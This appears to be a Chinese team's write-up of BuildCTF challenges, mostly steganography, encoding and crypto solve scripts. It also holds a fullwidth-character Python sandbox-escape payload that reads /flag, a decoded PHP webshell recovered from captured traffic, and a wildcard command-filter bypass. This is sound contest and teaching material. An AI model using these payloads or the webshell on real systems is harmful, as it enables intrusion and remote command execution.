目录
MISC 什么？来玩玩心算吧 解题人：shag0upayload： _＿ｉｍｐｏｒｔ_＿(ｃｈｒ(111)+ｃｈｒ(115)).ｓｙｓｔｅｍ(ｃｈｒ(99)+ｃｈｒ(97)+ｃｈｒ(116)+ｃｈｒ(32)+ｃｈｒ(47)+ｃｈｒ(102)+ｃｈｒ(108)+ｃｈｒ(97)+ｃｈｒ(103))
HEX的秘密 解题人：随风而去吧
点击查看代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 def decrypt_hex_string(hex_str): # 将字符串按每两个字符分割成16进制数的组 decrypted_chars = [] for i in range(0, len(hex_str), 2): # 取出两位16进制数 hex_pair = hex_str[i:i + 2] # 将其分为高位和低位（第一个数字和第二个数字） first_digit = int(hex_pair[0], 16) # 将第一个字符转为16进制的数值 second_digit = hex_pair[1] # 第二个字符保持不变 # 处理第一个数字：减去8 original_first_digit = first_digit - 8 # 组合还原后的16进制字符 original_hex_pair = f'{original_first_digit:X}{second_digit}' # 转回字符 decrypted_char = chr(int(original_hex_pair, 16)) decrypted_chars.append(decrypted_char) # 将所有字符连接成最终的字符串 return ''.join(decrypted_chars) # 示例用法 hex_str = "c2f5e9ece4c3d4c6fbb3c5fafadfc1b5e3a1a1dfe2e9eee1f2f9f9f9fd" # 替换为你的加密后的十六进制字符串 decrypted_string = decrypt_hex_string(hex_str) print("解密后的字符串:", decrypted_string)
E2_?_21p 解题人：随风而去吧
修改第九位字节为08（正常压缩包的前十位是相同的）和0xf0那一行的第六位为00（识别是否是需要解压密码的压缩包）
白白的真好看 解题人：随风而去吧
然后是snow,txt文件，猜测是snow隐写，但是不知道密码
将链接转成正常二维码后再扫描得到是异步社区公众号，回复雪，得到snow snow
想到snow隐写，猜测是密码，果不 其然 得到flag
然后是white,转换zip，在文件word中的documents中找到flag
最后拼起来就行，得到完整flag
四妹？还是萍萍？ 解题人：随风而去吧
如果再来一次，还会选择我吗？ 解题人：随风而去吧with open('D:\下载\BuildCTF\2\password.png','rb+') as file: list_byte = list(file.read()) print(list_byte) for i in range(0,len(list_byte)-1,2): tmp = list_byte[i] list_byte[i] = list_byte[i+1] list_byte[i+1] = tmp file.seek(0) file.write(bytes(list_byte))
解压之后是一张损坏的条形码，用ps修复之后，用工具扫描得出flag.zip的解压密码
LSB 解题人：Alex
把图片放到stegsolve里面
analyze-dataextract，将红蓝绿都设置为1，拿到一串base64，解密后拿到flag
BuildCTF
我太喜欢亢金星君了！ 解题人：Alex
gif文件，先使用虚拟上的convert命令分离gif
看着像摩斯密码，黑色图片将每种图片分开，白色作为摩斯密码的分隔符
-… ..- .. .-.. -.. -.-. - ..-. —-.– .– ….- .—- -.-. — – ….- ..–.- -. ….- .– ..–.- ..-. .—- … …. —–.–解码拿到flag
BuildCTF
四妹，你听我解释 解题人：Alex
图片拖到winhex里面发现一串社会主义编码
修改图片高度发现第二段
自由文明法治平等公正敬业公正友善公正公正自由自由和谐
解码BuildCTF
食不食油饼 解题人：Alex
将bmp改为png，修复bmp后没有得到什么有用信息
将png提取盲水印，拿到flag的密码
base32解码，获取flag
BuildCTF
一念愚即般若绝，一念智即般若生 解题人：Alex
zip文件发现一串编码，查得是阴阳怪气编码
解码拿到zip的密码s2j6dg@*
拿到第二段与佛论禅密文，解码得到的还是一段密文
曰：坤茫元量华劫始南灵+梵冥炁渺荡净+浩虚玉道坤玉终罗炁度清魄魔神龙融魂玉命魄鬼照色玉冥周色西鬼终命东融量照霄炁北南西生陀+空茫陀周度清道茫炁冥度东真阎阎阿度命净威茫度元茫微威陀空人罗北魂威荡幽吉灵尊
属于天书密文，天书再解码7dcUypxFHgNSJ7rVkdM5k7X18GSU9JinEziQ5vsS1rMpvTpx
最后base58解密，BuildCTF
EZ_zip 解题人：Alex
解压两次后发现layar_499.zip，应该是一个嵌套zip
写脚本去实现自动解压，解压到最后一个文件时报错，提示需要密码，那就把最后一个文件单独拿出来，解压到需要密码的操作停止脚本
拿到flag.zip,但是解压需要密码
拖入winhex，猜测是伪加密，直接修改加密位，拿到flag
BuildCTF
附上脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 import zipfile import os import logging # 设置日志记录格式 logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s') def unzip(path, zfile): """递归解压zip文件，遇到加密文件或flaggggg.txt时中止""" file_path = os.path.join(path, zfile) try: with zipfile.ZipFile(file_path, 'r') as srcfile: for filename in srcfile.namelist(): # 检查是否为目标文件'flaggggg.txt' if 'flaggggg.txt' in filename: logging.info(f"Found target file: {filename}, stopping extraction.") return # 检查是否为加密文件 if srcfile.getinfo(filename).flag_bits & 0x1: logging.info(f"File {filename} is encrypted, stopping extraction.") return # 提取文件到同一目录 srcfile.extract(filename, path) # 检查是否为嵌套的zip文件 extracted_file_path = os.path.join(path, filename) if zipfile.is_zipfile(extracted_file_path): logging.info(f"Found nested zip file: {extracted_file_path}, extracting...") unzip(path, extracted_file_path) except zipfile.BadZipFile: logging.error(f"Error: {zfile} is not a valid zip file.") except Exception as e: logging.error(f"An error occurred while processing {zfile}: {e}") # 定义解压路径和初始zip文件 path = r'C://Users//m1972//Desktop//zip' # 所有文件都解压到这个目录 zfile = r'layer_498.zip' # 调用解压函数 unzip(path, zfile)
Black&White 解题人：随风而去吧
扫码得到一串字符串3I8XEDHUCJTARQFOEDX7D+08AC80T8N08Y6948DF2C43C9B6Z2
Guesscoin 解题人：CurlySean
what is this? 解题人：CurlySean
看见一堆01直接二进制转字符串
1 2 3 4 5 6 7 data = 'ccc,ppppp,ccppcp,p,cccc,cpppp,ccc,ccppcp,cpppp,ccccc,ccppcp,pp,ppppp,cpc,ccccc,c,ccppcp,pcpc,ppppp,pcc,c,ccppcp,pcpcpp,pcpcpp' data = data.replace('c','.').replace('p','-') print(data) #...,-----,..--.-,-,....,.----,...,..--.-,.----,.....,..--.-,--,-----,.-.,.....,.,..--.-,-.-.,-----,-..,.,..--.-,-.-.--,-.-.--
用摩斯密码后成功解密
别真给我开盒了哥 解题人：随风而去吧
目的地方向：标志牌上显示两个主要目的地——“北京”和“德州”。北京是中国的首都，而德州位于山东省。箭头指向右方，表示下一个出口可以到达这两个城市的方向。
查询通往北京的高速公路，在附近的铁路尝试津兴城际铁路
百度百科查找相关信息
观察铁路图片，答案可能是与他相连的另一条铁路-津保铁路
有黑客 解题人：CurlySean
追踪一下tcp流，发现已经成功上传木马啦
hacker=eval%28base64_decode%28strrev%28urldecode%28%27K0QfK0QfgACIgoQD9BCIgACIgACIK0wOpkXZrRCLhRXYkRCKlR2bj5WZ90VZtFmTkF2bslXYwRyWO9USTNVRT9FJgACIgACIgACIgACIK0wepU2csFmZ90TIpIybm5WSzNWazFmQ0V2ZiwSY0FGZkgycvBnc0NHKgYWagACIgACIgAiCNsXZzxWZ9BCIgAiCNsTK2EDLpkXZrRiLzNXYwRCK1QWboIHdzJWdzByboNWZgACIgACIgAiCNsTKpkXZrRCLpEGdhRGJo4WdyBEKlR2bj5WZoUGZvNmbl9FN2U2chJGIvh2YlBCIgACIgACIK0wOpYTMsADLpkXZrRiLzNXYwRCK1QWboIHdzJWdzByboNWZgACIgACIgAiCNsTKkF2bslXYwRCKsFmdllQCK0QfgACIgACIgAiCNsTK5V2akwCZh9Gb5FGckgSZk92YuVWPkF2bslXYwRCIgACIgACIgACIgAiCNsXKlNHbhZWP90TKi8mZul0cjl2chJEdldmIsQWYvxWehBHJoM3bwJHdzhCImlGIgACIgACIgoQD7kSeltGJs0VZtFmTkF2bslXYwRyWO9USTNVRT9FJoUGZvNmbl1DZh9Gb5FGckACIgACIgACIK0wepkSXl1WYORWYvxWehBHJb50TJN1UFN1XkgCdlN3cphCImlGIgACIK0wOpkXZrRCLp01czFGcksFVT9EUfRCKlR2bjVGZfRjNlNXYihSZk92YuVWPhRXYkRCIgACIK0wepkSXzNXYwRyWUN1TQ9FJoQXZzNXaoAiZppQD7ciMmVDMjVDZ4AjMxYzNiNzNn0TeltGJK0wOnQWYvxWehB3J9UWbh5EZh9Gb5FGckoQD7ciclt2YhhGaoh2J9M3chBHJK0QfK0wOERCIuJXd0VmcgACIgoQD9BCIgAiCNszYk4VXpRyWERCI9ASXpRyWERCIgACIgACIgoQD70VNxYSMrkGJbtEJg0DIjRCIgACIgACIgoQD7BSKrsSaksTKERCKuVGbyR3c8kGJ7ATPpRCKy9mZgACIgoQD7lySkwCRkgSZk92YuVGIu9Wa0Nmb1ZmCNsTKwgyZulGdy9GclJ3Xy9mcyVGQK0wOpADK0lWbpx2Xl1Wa09FdlNHQK0wOpgCdyFGdz9lbvl2czV2cApQD%27%29%29%29%29%3B
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 import urllib from urllib import parse import base64 x = 'K0QfK0QfgACIgoQD9BCIgACIgACIK0wOpkXZrRCLhRXYkRCKlR2bj5WZ90VZtFmTkF2bslXYwRyWO9USTNVRT9FJgACIgACIgACIgACIK0wepU2csFmZ90TIpIybm5WSzNWazFmQ0V2ZiwSY0FGZkgycvBnc0NHKgYWagACIgACIgAiCNsXZzxWZ9BCIgAiCNsTK2EDLpkXZrRiLzNXYwRCK1QWboIHdzJWdzByboNWZgACIgACIgAiCNsTKpkXZrRCLpEGdhRGJo4WdyBEKlR2bj5WZoUGZvNmbl9FN2U2chJGIvh2YlBCIgACIgACIK0wOpYTMsADLpkXZrRiLzNXYwRCK1QWboIHdzJWdzByboNWZgACIgACIgAiCNsTKkF2bslXYwRCKsFmdllQCK0QfgACIgACIgAiCNsTK5V2akwCZh9Gb5FGckgSZk92YuVWPkF2bslXYwRCIgACIgACIgACIgAiCNsXKlNHbhZWP90TKi8mZul0cjl2chJEdldmIsQWYvxWehBHJoM3bwJHdzhCImlGIgACIgACIgoQD7kSeltGJs0VZtFmTkF2bslXYwRyWO9USTNVRT9FJoUGZvNmbl1DZh9Gb5FGckACIgACIgACIK0wepkSXl1WYORWYvxWehBHJb50TJN1UFN1XkgCdlN3cphCImlGIgACIK0wOpkXZrRCLp01czFGcksFVT9EUfRCKlR2bjVGZfRjNlNXYihSZk92YuVWPhRXYkRCIgACIK0wepkSXzNXYwRyWUN1TQ9FJoQXZzNXaoAiZppQD7ciMmVDMjVDZ4AjMxYzNiNzNn0TeltGJK0wOnQWYvxWehB3J9UWbh5EZh9Gb5FGckoQD7ciclt2YhhGaoh2J9M3chBHJK0QfK0wOERCIuJXd0VmcgACIgoQD9BCIgAiCNszYk4VXpRyWERCI9ASXpRyWERCIgACIgACIgoQD70VNxYSMrkGJbtEJg0DIjRCIgACIgACIgoQD7BSKrsSaksTKERCKuVGbyR3c8kGJ7ATPpRCKy9mZgACIgoQD7lySkwCRkgSZk92YuVGIu9Wa0Nmb1ZmCNsTKwgyZulGdy9GclJ3Xy9mcyVGQK0wOpADK0lWbpx2Xl1Wa09FdlNHQK0wOpgCdyFGdz9lbvl2czV2cApQD' x = urllib.parse.unquote(x) y='' for i in range(len(x)-1,-1,-1): y += x[i] print(y+"\n") y = base64.b64decode(y) print(y) #DQpAc2Vzc2lvbl9zdGFydCgpOw0KQHNldF90aW1lX2xpbWl0KDApOw0KQGVycm9yX3JlcG9ydGluZygwKTsNCmZ1bmN0aW9uIGVuY29kZSgkRCwkSyl7DQogICAgZm9yKCRpPTA7JGk8c3RybGVuKCREKTskaSsrKSB7DQogICAgICAgICRjID0gJEtbJGkrMSYxNV07DQogICAgICAgICREWyRpXSA9ICREWyRpXV4kYzsNCiAgICB9DQogICAgcmV0dXJuICREOw0KfQ0KJHBhc3M9J2hoaGhhY2tlcic7DQokcGF5bG9hZE5hbWU9J3BheWxvYWQnOw0KJGtleT0nNzNiNzYxMjA4ZDVjMDVmMic7DQppZiAoaXNzZXQoJF9QT1NUWyRwYXNzXSkpew0KICAgICRkYXRhPWVuY29kZShiYXNlNjRfZGVjb2RlKCRfUE9TVFskcGFzc10pLCRrZXkpOw0KICAgIGlmIChpc3NldCgkX1NFU1NJT05bJHBheWxvYWROYW1lXSkpew0KICAgICAgICAkcGF5bG9hZD1lbmNvZGUoJF9TRVNTSU9OWyRwYXlsb2FkTmFtZV0sJGtleSk7DQogICAgICAgIGlmIChzdHJwb3MoJHBheWxvYWQsImdldEJhc2ljc0luZm8iKT09PWZhbHNlKXsNCiAgICAgICAgICAgICRwYXlsb2FkPWVuY29kZSgkcGF5bG9hZCwka2V5KTsNCiAgICAgICAgfQ0KCQlldmFsKCRwYXlsb2FkKTsNCiAgICAgICAgZWNobyBzdWJzdHIobWQ1KCRwYXNzLiRrZXkpLDAsMTYpOw0KICAgICAgICBlY2hvIGJhc2U2NF9lbmNvZGUoZW5jb2RlKEBydW4oJGRhdGEpLCRrZXkpKTsNCiAgICAgICAgZWNobyBzdWJzdHIobWQ1KCRwYXNzLiRrZXkpLDE2KTsNCiAgICB9ZWxzZXsNCiAgICAgICAgaWYgKHN0cnBvcygkZGF0YSwiZ2V0QmFzaWNzSW5mbyIpIT09ZmFsc2Upew0KICAgICAgICAgICAgJF9TRVNTSU9OWyRwYXlsb2FkTmFtZV09ZW5jb2RlKCRkYXRhLCRrZXkpOw0KICAgICAgICB9DQogICAgfQ0KfQ0K b'\r\n@session_start();\r\n@set_time_limit(0);\r\n@error_reporting(0);\r\nfunction encode($D,$K){\r\n for($i=0;$i<strlen($D);$i++) {\r\n $c = $K[$i+1&15];\r\n $D[$i] = $D[$i]^$c;\r\n }\r\n return $D;\r\n}\r\n$pass=\'hhhhacker\';\r\n$payloadName=\'payload\';\r\n$key=\'73b761208d5c05f2\';\r\nif (isset($_POST[$pass])){\r\n $data=encode(base64_decode($_POST[$pass]),$key);\r\n if (isset($_SESSION[$payloadName])){\r\n $payload=encode($_SESSION[$payloadName],$key);\r\n if (strpos($payload,"getBasicsInfo")===false){\r\n $payload=encode($payload,$key);\r\n }\r\n\t\teval($payload);\r\n echo substr(md5($pass.$key),0,16);\r\n echo base64_encode(encode(@run($data),$key));\r\n echo substr(md5($pass.$key),16);\r\n }else{\r\n if (strpos($data,"getBasicsInfo")!==false){\r\n $_SESSION[$payloadName]=encode($data,$key);\r\n }\r\n }\r\n}\r\n'
解出来一个好像是木马的东西（看起来像是哥斯拉的东西哈）
又解出来一个大文件，看看其他的
解出来一些东西，应该是在命令执行
Crypto 我这辈子就是被古典给害了 解题人：shag0u
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 from Crypto.Util.Padding import pad, unpad from Crypto.Random import get_random_bytes from Crypto.Cipher import AES from secret import flag, key dict1 = {'A': 0, 'B': 1, 'C': 2, 'D': 3, 'E': 4, 'F': 5, 'G': 6, 'H': 7, 'I': 8, 'J': 9, 'K': 10, 'L': 11, 'M': 12, 'N': 13, 'O': 14, 'P': 15, 'Q': 16, 'R': 17, 'S': 18, 'T': 19, 'U': 20, 'V': 21, 'W': 22, 'X': 23, 'Y': 24, 'Z': 25} dict2 = {0: 'A', 1: 'B', 2: 'C', 3: 'D', 4: 'E', 5: 'F', 6: 'G', 7: 'H', 8: 'I', 9: 'J', 10: 'K', 11: 'L', 12: 'M', 13: 'N', 14: 'O', 15: 'P', 16: 'Q', 17: 'R', 18: 'S', 19: 'T', 20: 'U', 21: 'V', 22: 'W', 23: 'X', 24: 'Y', 25: 'Z'} # 在key后面补上Buildctfx def generate_key(flag, key): i = 0 while True: if len(key) == len(flag): break key += flag[i] i += 1 return key # 1. 将处理过的flag和处理过的key进行替换得到数字，并且对数字进行取模26 # 2. 将取模26后得到的数字利用dict2重新映射出一个字符串 def cipherText(msg, key_new): cipher_text = '' i = 0 for letter in msg: x = (dict1[letter] + dict1[key_new[i]]) % 26 i += 1 cipher_text += dict2[x] return cipher_text # 处理key和处理过的flag # 1. 将key添加到key的末尾组成新key，并且将其转化成字节串 # 2. 设定ECB加密模式，将处理后的key作为密钥 # 3. 将处理后的flag转化成字节串 # 4. 将转化后的flag字节串填充若干个0x02字符使其为16的倍数 # 5. 将处理后的flag利用ECB模式加密 # 6. 输出加密后的flag def AES_enc(key, value): key = (key * 2).encode() cipher = AES.new(key, AES.MODE_ECB) value = value.encode() padded_text = pad(value, AES.block_size) ciphertext = cipher.encrypt(padded_text) print("AES Encrypted Text =", ciphertext) def substitute(msg): msg = msg.replace('{', 'X') msg = msg.replace('_', 'X') msg = msg.replace('}', 'X') msg = msg.upper() assert msg.isupper() return msg # 处理flag { -> X _-> x } -> x 小写全变大写 message = substitute(flag) # 扩展给出的key，从flag中从第一位开始获取字母追加到key上使key最终长度等于flag key_new = generate_key(message, key) # 处理处理过的flag和key # 1. 将处理过的flag和处理过的key进行替换得到数字，并且对数字进行取模26 # 2. 将取模26后得到的数字利用dict2重新映射出一个字符串 cipher = cipherText(message, key_new) #输出得到的加密字符串 print("Encrypted Text =", cipher) # 处理key和处理过的flag # 1. 将key添加到key的末尾组成新key，并且将其转化成字节串 # 2. 设定ECB加密模式，将处理后的key作为密钥 # 3. 将处理后的flag转化成字节串 # 4. 将转化后的flag字节串填充若干个0x02字符使其为16的倍数 # 5. 将处理后的flag利用ECB模式加密 # 6. 输出加密后的flag AES_enc(key, flag) ''' Encrypted Text = HLMPWKGLYSWFACEWBYRSUKYFAXZFXDKOTZHHSLFCXNICAHPGRIFUF AES Encrypted Text = b'\x92T{\x1f\x0f"\xbd\xbb\xfa|O\x11\x83\xa0\xec.\x15]\x9f\x9a\xe5\x85Z\x9f@yUm\xbb\xdc\x93\x08\xe5\x8b\xd5\x98\x84\xfa\x91\xe8\xde\x1b}\xcd\x9056\xa3\xbf\xdb\x85J\xcc\xec\x812T\x11\xa7Tl\x15\xf6"' '''
这次比赛的 flag 的格式为：BuildCTF{___}，所以大胆猜测此题的 flag 也是如此，解密维吉尼亚的前 8 位：
是一个可读单词，大胆猜测这个就是 key，由于完整的 key 是在 key 后面加入了 flag，所以可以递归解密，直接写个脚本来：
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 # 定义字典用于字母与数字的映射 dict1 = { 'A': 0, 'B': 1, 'C': 2, 'D': 3, 'E': 4, 'F': 5, 'G': 6, 'H': 7, 'I': 8, 'J': 9, 'K': 10, 'L': 11, 'M': 12, 'N': 13, 'O': 14, 'P': 15, 'Q': 16, 'R': 17, 'S': 18, 'T': 19, 'U': 20, 'V': 21, 'W': 22, 'X': 23, 'Y': 24, 'Z': 25 } dict2 = {v: k for k, v in dict1.items()} def decipher(cipher_text, initial_key): decrypted = '' key = initial_key.upper() for i, c in enumerate(cipher_text.upper()): if c not in dict1: print(f"非法字符 '{c}' 在密文中，跳过。") decrypted += c key += c continue key_char = key[i] cipher_val = dict1[c] key_val = dict1[key_char] plain_val = (cipher_val - key_val) % 26 plain_char = dict2[plain_val] decrypted += plain_char key += plain_char # 还原特殊字符 '{', '}' 和 '_' decrypted_chars = list(decrypted) # 查找所有 'X' 的索引 x_indices = [idx for idx, char in enumerate(decrypted_chars) if char == 'X'] if not x_indices: print("解密后的消息中没有找到 'X' 字符。") return decrypted # 替换第一个 'X' 为 '{' first_x = x_indices[0] decrypted_chars[first_x] = '{' # 替换最后一个 'X' 为 '}' last_x = x_indices[-1] decrypted_chars[last_x] = '}' # 替换中间的 'X' 为 '_' for idx in x_indices[1:-1]: decrypted_chars[idx] = '_' flag = ''.join(decrypted_chars) return flag # 已知信息 cipher_text = 'HLMPWKGLYSWFACEWBYRSUKYFAXZFXDKOTZHHSLFCXNICAHPGRIFUF' initial_key = 'greeting' # 执行解密 flag = decipher(cipher_text, initial_key) print("解密后的 flag:", flag)
解密的结果为：
666，又是可读明文，直接按照比赛的 flag 格式拼接 flag 提交尝试一下：
mitm 解题人：随风而去吧
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 from Crypto.Util.number import * from Crypto.Util.Padding import * from hashlib import sha256 from Crypto.Cipher import AES from random import * from secret import flag # 设定密码集 note = b'Crypt_AES*42$@' # 设定4段key r = 4 # 存储key keys = [] # 1. 从密码集中选取三个字符，转化为bytes格式，作为一个key # 2. 对每个3字节key进行SHA-256哈希，并且存储在keys中作为密码 for i in range(r): key = bytes(choices(note, k=3)) print(key) print(sha256(key).digest()) keys.append(sha256(key).digest()) print(keys) # 设定一个明文 leak = b'Hello_BuildCTF!!' cipher = leak # 使用刚刚处理过的4个key对明文AES_ECB加密4次 for i in range(r): cipher = AES.new(keys[i], AES.MODE_ECB).encrypt(cipher) # 将四个3字节的key连起来进行一次SHA-256哈希，得到一个新key enc_key = sha256(b"".join(keys)).digest() # 使用新key对flag进行AES_ECB加密 enc_flag = AES.new(enc_key, AES.MODE_ECB).encrypt(pad(flag, AES.block_size)) print(f'cipher = {cipher}') print(f'enc_flag = {enc_flag}') # cipher = b'\xb9q\x04\xa3<\xf0\x11-\xe9\xfbo:\x9aQn\x81' # enc_flag = b'q\xcf\x08$%\xb0\x86\xee\x1a(b\x7f\xf8\x86\xbd\xd0\xa7\xee\xd9\x9d2\x82a7H=a\x13\x87e\xad\xd2b\x8e\x07\xa5\xddo\xc0\xf3N\xd4b\xc9o\x88$\xc7\xf4p\xc1\x1e,\xed\xcc\x94\x8c\xf4\x00\xa5\xe0-\xf7\xc5'
密码集不是很长，并且给了一段明文和加密后的密文，直接对 key 进行爆破，并且使用中间人攻击， ai 写的脚本：
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 import itertools from Crypto.Cipher import AES from Crypto.Util.Padding import unpad from hashlib import sha256 import binascii import sys # 已知信息 note = b'Crypt_AES*42$@' leak = b'Hello_BuildCTF!!' cipher = b'\xb9q\x04\xa3<\xf0\x11-\xe9\xfbo:\x9aQn\x81' # 从赛题中获取 enc_flag = b'q\xcf\x08$%\xb0\x86\xee\x1a(b\x7f\xf8\x86\xbd\xd0\xa7\xee\xd9\x9d2\x82a7H=a\x13\x87e\xad\xd2b\x8e\x07\xa5\xddo\xc0\xf3N\xd4b\xc9o\x88$\xc7\xf4p\xc1\x1e,\xed\xcc\x94\x8c\xf4\x00\xa5\xe0-\xf7\xc5' # 从赛题中获取 BLOCK_SIZE = 16 def generate_all_possible_keys(note): """ 生成所有可能的3字节密钥 """ return [bytes(p) for p in itertools.product(note, repeat=3)] def precompute_forward(leak, possible_keys): """ 前向加密：对leak进行两层AES-ECB加密 返回中间密文到 (key1, key2) 的映射 """ forward_map = {} total = len(possible_keys) ** 2 count = 0 print("开始前向加密预计算...") for key1 in possible_keys: sha_key1 = sha256(key1).digest() cipher1 = AES.new(sha_key1, AES.MODE_ECB).encrypt(leak) for key2 in possible_keys: sha_key2 = sha256(key2).digest() cipher2 = AES.new(sha_key2, AES.MODE_ECB).encrypt(cipher1) forward_map[cipher2] = (key1, key2) count += 1 if count % 1000000 == 0: print(f"前向加密进度: {count}/{total}") print("前向加密预计算完成。") return forward_map def precompute_backward(cipher, possible_keys): """ 后向解密：对cipher进行两层AES-ECB解密 返回中间密文到 (key3, key4) 的映射 """ backward_map = {} total = len(possible_keys) ** 2 count = 0 print("开始后向解密预计算...") for key4 in possible_keys: sha_key4 = sha256(key4).digest() decrypted1 = AES.new(sha_key4, AES.MODE_ECB).decrypt(cipher) for key3 in possible_keys: sha_key3 = sha256(key3).digest() decrypted2 = AES.new(sha_key3, AES.MODE_ECB).decrypt(decrypted1) backward_map[decrypted2] = (key3, key4) count += 1 if count % 1000000 == 0: print(f"后向解密进度: {count}/{total}") print("后向解密预计算完成。") return backward_map def find_matching_keys(forward_map, backward_map): """ 查找前向加密和后向解密的中间密文是否匹配 """ print("开始查找匹配的中间密文...") for intermediate in forward_map: if intermediate in backward_map: key1, key2 = forward_map[intermediate] key3, key4 = backward_map[intermediate] print("找到匹配的密钥组合！") return key1, key2, key3, key4 return None def main(): possible_keys = generate_all_possible_keys(note) print(f"总共生成了 {len(possible_keys)} 个可能的3字节密钥。") # 前向加密预计算 forward_map = precompute_forward(leak, possible_keys) # 后向解密预计算 backward_map = precompute_backward(cipher, possible_keys) # 查找匹配的密钥组合 keys = find_matching_keys(forward_map, backward_map) if keys: key1, key2, key3, key4 = keys print(f"Key 1: {key1}") print(f"Key 2: {key2}") print(f"Key 3: {key3}") print(f"Key 4: {key4}") # 生成 enc_key concatenated_hashes = sha256(key1).digest() + sha256(key2).digest() + sha256(key3).digest() + sha256(key4).digest() enc_key = sha256(concatenated_hashes).digest() print(f"生成的 enc_key: {binascii.hexlify(enc_key)}") # 解密 enc_flag cipher_enc_flag = AES.new(enc_key, AES.MODE_ECB) decrypted_flag_padded = cipher_enc_flag.decrypt(enc_flag) try: decrypted_flag = unpad(decrypted_flag_padded, BLOCK_SIZE) print(f"解密后的 Flag: {decrypted_flag.decode()}") except ValueError: print("填充错误，无法解密 Flag。") else: print("未找到匹配的密钥组合。") if __name__ == "__main__": main()
脚本运行结果：
ai 截图：
Ju5t_d3c0de_1t! 解题人：CurlySean
先看e应该是一个base64解密
解码出来的东西，是一个rabit解密
成功解出来e=65537
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 e = 65537 c = 1906584693582914593452011253925635223573 p = 26822418715463991126474380526303016593205006542806731721157536330312275372018305158474258610131152489 q = 53119776651079682777961960430388001309363199658704012861472783500082899623940177739319812176312097081 #python3 import gmpy2 as gp import binascii p = gp.mpz(p) q = gp.mpz(q) e = gp.mpz(e) c = gp.mpz(c) n = p*q phi = (p-1) * (q-1) d = gp.invert(e, phi) m = pow(c, d, n) key = 592924741013363689040199750462798275514934297277010275281372369969899775117892551575873706970423924419480394766364097497072075403342004187895966953143489192628648965081601335846012859223829286606349019 print(m -key)
解密成功
OVO开门爽！开到南天门了兄弟 解题人：shag0u
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 import math from Crypto.Util.number import long_to_bytes # 已知数据 P = 8279853330757234669136483032750824826175777927506575083710166412897012079466955769715275604152872242147320194640165649152928984919315754419447729793483984130396358578571137956571302516202649076619076831997922675572705848199504309232044502957866317011212505985284129365522570368395368427388904223782742850616983130885152785650513046301920305069822348366931825404271695876688539675285303882189060671184911139742554710018755565518014777733322795522710234091353878298486498244829638878949389690384488573338138825642381687749888102341379254137445546306796258092762099409409285871651688611387507673794784257901946892698481 Q = 9406643503176766688113904226702477322706664731714272632525763533395380298320140341860043591350428258361089106233876240175767826293976534568274153276542755524620138714767338820334748140365080856474253334033236457092764244994983837914955286808153784628739327217539701134939748313123071347697827279169952810727995681780717719971161661561936180553161888359929479143712061627854343656949334882218260141557768868222151468471946884225370009706900640851492798538458384449294042930831359723799893581568677433868531699360789800449077751798535497117004059734670912829358793175346866262442550715622833013235677926312075950550681 n = 8825283482190476005946253343638820879559355306860912268128891241513310054066424567824202757539757712177309282694997613217968336164050770152277369601415394249781577415456224120102543968285035647514461364611734338073523454354376992783551035395558194171202680855182868766563277697325690226849316944101739491659812174054898519492145495098671439125714086449826697343692081109131564556220174583970363431110462222473013021825770267803249515893736989430146194199936335153936611196467225599746830873958085287665223190767137404366840055297859554490123389877396965710177279558954630222879974581602069901175074777191362537419581 e = 65537 c = 27915082942179758159664000908789091022294710566838766903802097394437507062054409033932303966820096232375646873480427485844733381298467171069985418237873120984132166343258345389477844339261488318588760125230979340678006871754125487279212120945061845738130108370814509280317816067243605608952074687396728904772649873860508240809541545939219624254878900291126739390967820141036260712208555574522131446556595562330969209665291757386246648060990840787769772160549862538116370905306402293764494501838709895355570646716245976733542014165663539815972755562821443411642647981898636761822107221203966296758350547477576411216744594534002057673625678188824476543288048956124565509473100550838563085585434675727358831610724920550213350035792170323729397796947598697983084347567191009236345815968927729025919066227704728180060805553787151862426034275526605154807840695498644070184681962311639338273469859838505348823417234722270798882384367058630064108155240680307754557472476430983184039474907188578578484589833812196216551783354411797156409948499012005963943728564803898150155735762695825658678475746559900705796814512838380193603178657226033406812810314960142251012223576984115642351463684724512456778548853002653596485899854303126091917273560 # 计算 p 和 q p = math.isqrt(P) q = math.isqrt(Q) print("p =", p) print("q =", q) # 验证 p * q 是否等于 n n_computed = p * q if n_computed == n: print("p 和 q 的计算正确") else: print("p 和 q 计算有误") # 计算欧拉函数 φ(n) phi_n = (p - 1) * (q - 1) # 计算私钥 d d = pow(e, -1, phi_n) # 解密密文 m = pow(c, d, n) # 将明文转为字符串形式 flag = long_to_bytes(m) print(flag)
Pwn 我要成为沙威玛传奇
一直按4偷钱，偷到500，买一百个沙威玛就可以拿flag了
也可以写个脚本
BuildCTF
touch heart 解题人：Alex
程序过滤ls等关键字
使用/bin绝对路径执行命令，把尾字母用*代替
/bi*/ca * fla*
BuildCTF
Web 我写的网站被rce了？
修改 access 试试
成功报错说明存在文件包含
